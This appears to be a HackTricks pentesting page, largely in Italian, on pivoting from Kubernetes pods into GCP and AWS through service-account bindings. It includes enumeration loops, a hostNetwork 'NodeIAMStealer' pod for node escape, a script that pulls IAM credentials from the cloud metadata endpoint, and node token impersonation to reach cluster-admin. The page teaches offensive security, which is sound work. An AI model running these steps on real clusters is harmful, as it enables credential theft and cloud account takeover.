# Kubernetes Pivoting to Clouds

{{#include ../../banners/hacktricks-training.md}}

## GCP

Se stai eseguendo un cluster k8s all'interno di GCP probabilmente vorrai che qualche applicazione in esecuzione nel cluster abbia accesso a GCP. Ci sono 2 modi comuni per farlo:

### Mounting GCP-SA keys as secret

A common way to give **access to a kubernetes application to GCP** is to:

- Crea una GCP Service Account
- Associa ad essa i permessi desiderati
- Scarica una chiave json della SA creata
- Montala come secret all'interno del pod
- Imposta la variabile d'ambiente GOOGLE_APPLICATION_CREDENTIALS puntando al percorso dove si trova il json.

> [!WARNING]
> Pertanto, come **attacker**, se comprometti un container all'interno di un pod, dovresti controllare quella **env** **variable** e i **json** **files** con le credenziali GCP.

### Relating GSA json to KSA secret

Un modo per fornire accesso a una GSA a un GKE cluster è legarli in questo modo:

- Crea una Kubernetes service account nello stesso namespace del tuo GKE cluster usando il seguente comando:
```bash
kubectl create serviceaccount <service-account-name>
```
- Crea un Kubernetes Secret che contenga le credenziali dell'account di servizio GCP a cui vuoi concedere l'accesso al cluster GKE. Puoi farlo usando lo strumento da riga di comando `gcloud`, come mostrato nell'esempio seguente:
```bash
gcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json
```
- Associa il Kubernetes Secret al Kubernetes service account usando il seguente comando:
```bash
kubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>
```
> [!WARNING]
> Nel **secondo passaggio** sono state impostate le **credenziali della GSA come secret della KSA**. Quindi, se puoi **leggere quel secret** dall'**interno** del **cluster GKE**, puoi **escalate to that GCP service account**.

### GKE Workload Identity

Con Workload Identity, possiamo configurare una[ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) per agire come una[ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts). I Pods che girano con la Kubernetes service account si autenticheranno automaticamente come la Google service account quando accederanno alle Google Cloud APIs.

La **prima serie di passaggi** per abilitare questo comportamento è **abilitare Workload Identity in GCP** ([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) e creare il GCP SA che vuoi che k8s impersoni.

- **Abilitare Workload Identity** su un nuovo cluster
```bash
gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
```
- **Crea/Aggiorna un nuovo nodepool** (I cluster Autopilot non ne hanno bisogno)
```bash
# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
```
- Crea la **GCP Service Account da impersonare** da K8s con permessi GCP:
```bash
# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>

# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"
```
- **Connettiti** al **cluster** e **crea** il **service account** da usare
```bash
# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1

# Generate our testing namespace
kubectl create namespace testing

# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing
```
- **Associare la GSA alla KSA**
```bash
# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"

# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
```
- Esegui un **pod** con la **KSA** e verifica l'**access** a **GSA:**
```bash
# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
name: workload-identity-test
namespace: <namespace>
spec:
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-

# Get inside the pod
kubectl exec -it workload-identity-test \
--namespace testing \
-- /bin/bash

# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list
```
Controlla il seguente comando per autenticarti, se necessario:
```bash
gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json
```
> [!WARNING]
> Come attaccante dentro K8s dovresti **cercare SAs** con l'**annotazione `iam.gke.io/gcp-service-account`** poiché indica che il SA può accedere a qualcosa in GCP. Un'altra opzione è provare ad abusare ogni KSA nel cluster e verificare se ha accesso.\
> Da GCP è sempre interessante enumerare i binding e sapere **quali accessi stai concedendo agli SAs dentro Kubernetes**.

Questo è uno script per **iterare facilmente sulle definizioni di tutti i pods** cercando quell'**annotazione**:
```bash
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done | grep -B 1 "gcp-service-account"
```
## AWS

### Kiam & Kube2IAM (IAM role for Pods) <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>

Un modo (obsoleto) per assegnare IAM Roles ai Pods è usare un [**Kiam**](https://github.com/uswitch/kiam) o un [**Kube2IAM**](https://github.com/jtblin/kube2iam) **server.** Fondamentalmente dovrai eseguire un **daemonset** nel tuo cluster con una **sorta di IAM role privilegiato**. Questo daemonset sarà quello che fornirà l'accesso ai ruoli IAM ai Pods che ne hanno bisogno.

Prima di tutto devi configurare **quali ruoli possono essere accessibili all'interno del namespace**, e lo fai con un'annotazione all'interno dell'oggetto namespace:
```yaml:Kiam
kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"
```

```yaml:Kube2iam
apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default
```
Una volta che il namespace è configurato con i ruoli IAM che i Pods possono avere, puoi **indicare il ruolo che desideri in ogni definizione di pod con qualcosa del genere**:
```yaml:Kiam & Kube2iam
kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader
```
> [!WARNING]
> Come attaccante, se **trovi queste annotazioni** in pods o namespaces o un server kiam/kube2iam in esecuzione (probabilmente in kube-system) puoi **impersonare ogni ruolo** che è già **usato dai pods** e altro (se hai accesso all'account AWS, elenca i ruoli).

#### Creare un Pod con IAM Role

> [!NOTE]
> Il ruolo IAM da indicare deve essere nello stesso account AWS del ruolo kiam/kube2iam e quel ruolo deve essere in grado di accedervi.
```yaml
echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -
```
### IAM Role per K8s Service Accounts via OIDC <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>

Questo è il modo raccomandato da AWS.

1. Prima di tutto devi [create an OIDC provider for the cluster](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html).
2. Poi crei un IAM role con i permessi di cui la SA avrà bisogno.
3. Crea una [trust relationship between the IAM role and the SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) name (o i namespace, consentendo l'accesso al ruolo a tutte le SA del namespace). _La trust relationship controllerà principalmente il nome del provider OIDC, il nome del namespace e il nome della SA_.
4. Infine, **crea una SA con un'annotazione che indica l'ARN del role**, e i pods che girano con quella SA avranno **accesso al token del role**. Il **token** è **scritto** all'interno di un file e il percorso è specificato in **`AWS_WEB_IDENTITY_TOKEN_FILE`** (default: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`)
```bash
# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml

# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role
```
Per **ottenere aws usando il token** da `/var/run/secrets/eks.amazonaws.com/serviceaccount/token` esegui:
```bash
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
```
> [!WARNING]
> Come attaccante, se riesci a enumerare un cluster K8s, controlla la presenza di **service accounts with that annotation** per **escalate to AWS**. Per farlo, basta **exec/create** un **pod** usando uno degli IAM **privileged service accounts** e rubare il token.
>
> Inoltre, se sei dentro un pod, controlla le env variables come **AWS_ROLE_ARN** e **AWS_WEB_IDENTITY_TOKEN.**

> [!CAUTION]
> A volte la **Turst Policy of a role** potrebbe essere **bad configured** e, invece di concedere l'accesso AssumeRole al service account previsto, lo concede a **all the service accounts**. Pertanto, se sei in grado di scrivere un'annotation su un controlled service account, puoi accedere al role.
>
> Consulta la **pagina seguente per maggiori informazioni**:

{{#ref}}
../aws-security/aws-basic-information/aws-federation-abuse.md
{{#endref}}

### Trova Pods e SAs con IAM Roles nel Cluster

Questo è uno script per iterare facilmente sulle definizioni di **pods** e **SAs** cercando quell'**annotation**:
```bash
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"
```
### Node IAM Role a cluster-admin

La sezione precedente spiegava come rubare IAM role con i pod, ma tieni presente che un **Node del** cluster K8s sarà un'**istanza all'interno del cloud**. Questo significa che il Node è molto probabile che **abbia un IAM role che puoi rubare** (_nota che di solito tutti i node di un cluster K8s avranno lo stesso IAM role, quindi potrebbe non valere la pena provare a controllare ogni node_).

Per accedere al metadata endpoint del node devi:
- Essere in un pod e avere il metadata endpoint configurato ad almeno 2 tcp hops. Questa è la misconfiguration più comune poiché di solito diversi pod nel cluster richiedono accesso al metadata endpoint per non interrompersi e molte aziende decidono semplicemente di permettere l'accesso al metadata endpoint da tutti i pod del cluster.
- Essere in un pod con `hostNetwork` abilitato.
- Fare escape al Node e accedere direttamente al metadata endpoint.

(Nota che il metadata endpoint è a 169.254.169.254 come sempre).

Per **escape to the node** puoi usare il seguente comando per eseguire un pod con `hostNetwork` abilitato:
```bash
kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'
```
### Steal IAM Role Token

In precedenza abbiamo discusso come **attach IAM Roles to Pods** o anche come **escape to the Node to steal the IAM Role** che è stato assegnato all'istanza.

Puoi usare lo script seguente per **steal** le tue nuove duramente ottenute **IAM role credentials**:
```bash
IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget  http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi
```
### Privesc to cluster-admin

In sintesi: se è possibile **accedere all'EKS Node IAM role** da un pod, è possibile **compromettere l'intero kubernetes cluster**.

Per maggiori informazioni consulta [this post](https://blog.calif.io/p/privilege-escalation-in-eks). Come riassunto, il ruolo IAM EKS predefinito assegnato ai nodi EKS è `system:node` all'interno del cluster. Questo ruolo è molto interessante, sebbene sia limitato dalle [**Node Restrictions**](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction) di kubernetes.

Tuttavia, il nodo può sempre **generate tokens for service accounts** che girano in pod all'interno del nodo. Quindi, se il nodo esegue un pod con un service account privilegiato, il nodo può generare un token per quel service account e usarlo per impersonare il service account come in:
```bash
kubectl --context=node1 create token -n ns1 sa-priv \
--bound-object-kind=Pod \
--bound-object-name=pod-priv \
--bound-object-uid=7f7e741a-12f5-4148-91b4-4bc94f75998d
```
## Riferimenti

- [https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity](https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity)
- [https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)
- [https://blogs.halodoc.io/iam-roles-for-service-accounts-2/](https://blogs.halodoc.io/iam-roles-for-service-accounts-2/)

{{#include ../../banners/hacktricks-training.md}}
